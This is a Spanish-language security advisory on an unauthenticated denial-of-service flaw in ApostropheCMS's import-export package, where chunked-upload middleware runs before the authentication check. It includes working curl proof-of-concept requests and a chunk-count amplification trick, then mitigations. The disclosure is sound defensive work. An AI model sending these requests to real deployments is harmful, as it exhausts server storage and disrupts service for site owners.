ApostropheCMS: Agotamiento de recursos sin autenticación mediante el procesamiento aposBigUpload pre-autenticación en @apostrophecms/import-export

Resumen

Existe una posible vulnerabilidad de denegación de servicio no autenticada en la ruta de subida de importación por fragmentos (chunked upload) utilizada por @apostrophecms/import-export.

Las rutas de la API de importación afectadas invocan:

self.apos.http.bigUploadMiddleware()

antes de que el controlador de importación real realice su comprobación de autenticación.

Debido a que no se proporciona ninguna devolución de llamada authorize a bigUploadMiddleware(), las solicitudes no autenticadas pueden alcanzar las operaciones aposBigUpload start, chunk y end antes de que la posterior comprobación req.user rechace la importación.

Como resultado, un atacante remoto no autenticado puede crear un estado de subida en el servidor, escribir datos de fragmentos en el almacenamiento de subidas, desencadenar el procesamiento de archivos temporales y provocar operaciones de limpieza controladas por el atacante antes de que se aplique la autenticación.

Componente afectado

Paquete:

@apostrophecms/import-export

Versión confirmada afectada:

3.6.2

Posibles versiones anteriores afectadas:

El problema puede afectar a versiones anteriores de 3.x en las que esté presente la implementación de importación actual basada en big-upload. Aún no se ha verificado por completo la versión exacta de introducción y se recomienda que los mantenedores confirmen el rango de versiones afectadas.

Tipo de vulnerabilidad

Principal:

CWE-400 — Consumo incontrolado de recursos

Relacionadas:

CWE-306 — Autenticación faltante para función crítica

CWE-770 — Asignación de recursos sin límites ni regulación

Detalles técnicos

La ruta de importación de páginas registra la siguiente cadena de middleware:

packages/import-export/modules/@apostrophecms/import-export-page/index.js

importExportImport: [
  self.apos.http.bigUploadMiddleware(),
  async (req) => {
    return self.apos.modules['@apostrophecms/import-export']
      .import(req, self.__meta.name);
  }
]

No se pasa ninguna devolución de llamada authorize a bigUploadMiddleware().

La implementación de bigUploadMiddleware() admite explícitamente una devolución de llamada authorize y realiza esa autorización antes de procesar el protocolo aposBigUpload cuando se proporciona.

Sin esa devolución de llamada, las solicitudes que contienen:

aposBigUpload[type]=start

aposBigUpload[type]=chunk

o

aposBigUpload[type]=end

se procesan de inmediato.

La verificación de autenticación real se produce más adelante en:

packages/import-export/lib/methods/import.js

async import(req, moduleName) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }

Esto significa que la autenticación solo se lleva a cabo después de que el middleware de subida fragmentada ya haya realizado trabajo en el servidor.

Flujo de ataque

1. Inicio

Un atacante no autenticado envía una solicitud aposBigUpload[type]=start.

El servidor genera un ID de subida y almacena los metadatos de subida suministrados por el atacante, incluido el recuento declarado de chunks.

2. Fragmento (Chunk)

El atacante puede subir datos de fragmentos.

bigUploadChunk() copia los datos controlados por el atacante en:

/big-uploads/<id>-<n>-<chunk>

3. Fin

El atacante envía una solicitud aposBigUpload[type]=end.

bigUploadEnd() comienza a procesar la subida y genera archivos temporales antes de invocar el controlador de importación posterior.

Solo después de que finaliza este procesamiento, la ejecución llega a la comprobación de autenticación posterior en import().

4. Amplificación de limpieza

El valor chunks controlado por el atacante también es utilizado por bigUploadCleanupOne():

for (const { chunks } of Object.values(bigUpload.files)) {
  for (let i = 0; (i < chunks); i++) {
    await ufs.remove(...);
  }
}

No parece aplicarse un límite superior reducido al recuento de fragmentos declarado durante la inicialización de la subida.

Esto permite a un atacante no autenticado aumentar la cantidad de operaciones de limpieza del sistema de archivos que se realizan para una subida.

Prueba de concepto

La siguiente reproducción se llevó a cabo únicamente en un entorno de pruebas aislado.

Iniciar una subida sin autenticación

curl -s -X POST \
  'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=start' \
  -H 'Content-Type: application/json' \
  --data '{"files":{"file":{"name":"evil.tar.gz","size":4,"type":"application/gzip","chunks":1}}}'

El servidor devuelve un ID de subida a pesar de que la solicitud no tiene una sesión autenticada.

Subir un fragmento

printf 'PWN!' >/tmp/chunk.bin

curl -s -X POST \
  'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=chunk&aposBigUpload[id]=<ID>&aposBigUpload[n]=0&aposBigUpload[chunk]=0' \
  -F 'chunk=@/tmp/chunk.bin;type=application/octet-stream'

La solicitud tiene éxito y hace que se utilice almacenamiento de subida del lado del servidor.

Finalizar la subida

curl -i -X POST \
  'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=end&aposBigUpload[id]=<ID>'

Comportamiento observado:

• start devuelve HTTP 200 y un ID de subida sin autenticación.
• chunk devuelve HTTP 200 y genera almacenamiento de fragmentos en el servidor.
• end finalmente llega a la comprobación de autenticación posterior y es rechazada.
• Sin embargo, el procesamiento de big-upload en el servidor ya ha ocurrido antes de ese rechazo de autenticación.

En el entorno aislado de prueba:

• chunks=1 dio lugar a un intento de eliminación de limpieza.
• chunks=50 dio lugar a 50 intentos de eliminación de limpieza.

Esto demuestra que el recuento de fragmentos controlado por el atacante influye directamente en el trabajo de limpieza del lado del servidor.

Impacto de seguridad

La vulnerabilidad permite a un atacante remoto no autenticado provocar operaciones de almacenamiento y sistema de archivos en el servidor que solo deberían ser accesibles para usuarios de importación autorizados.

Las posibles consecuencias incluyen:

• Consumo de almacenamiento de subidas y temporal.
• Creación de estado de subida en el servidor por parte de usuarios no autenticados.
• E/S repetida en el sistema de archivos.
• Amplificación de la limpieza basada en el recuento de fragmentos controlado por el atacante.
• Posible degradación del servicio o denegación de servicio si el ataque se repite o se amplifica lo suficiente.

Causa raíz

La autenticación se aplica en el controlador de importación posterior en lugar de aplicarse antes del middleware de subida por fragmentos.

El propio middleware ya admite una devolución de llamada authorize diseñada específicamente para evitar el uso no autorizado de la funcionalidad big-upload.

Mitigación sugerida

Requerir autenticación antes de procesar cualquier operación de aposBigUpload.

Por ejemplo:

• Pasar una devolución de llamada authorize apropiada a bigUploadMiddleware() en todas las rutas de importación.
• Rechazar a los usuarios no autenticados antes de start, chunk o end.
• Aplicar límites razonables al recuento de fragmentos declarado.
• Validar el tamaño declarado con respecto a los datos realmente subidos.
• Introducir límites de almacenamiento y tasa por usuario y globales.
• Garantizar que los archivos temporales se eliminen cuando falle el procesamiento posterior.
• Agregar pruebas de regresión que confirmen que las solicitudes anónimas de start, chunk y end sean rechazadas antes de crear archivos o estados de subida.

Commit relevante revisado:

d3ff8c9bb001be1acf7fdc3f035190250ac64b45

Créditos del investigador

Kai Zhi

GitHub:

https://github.com/kaizhi888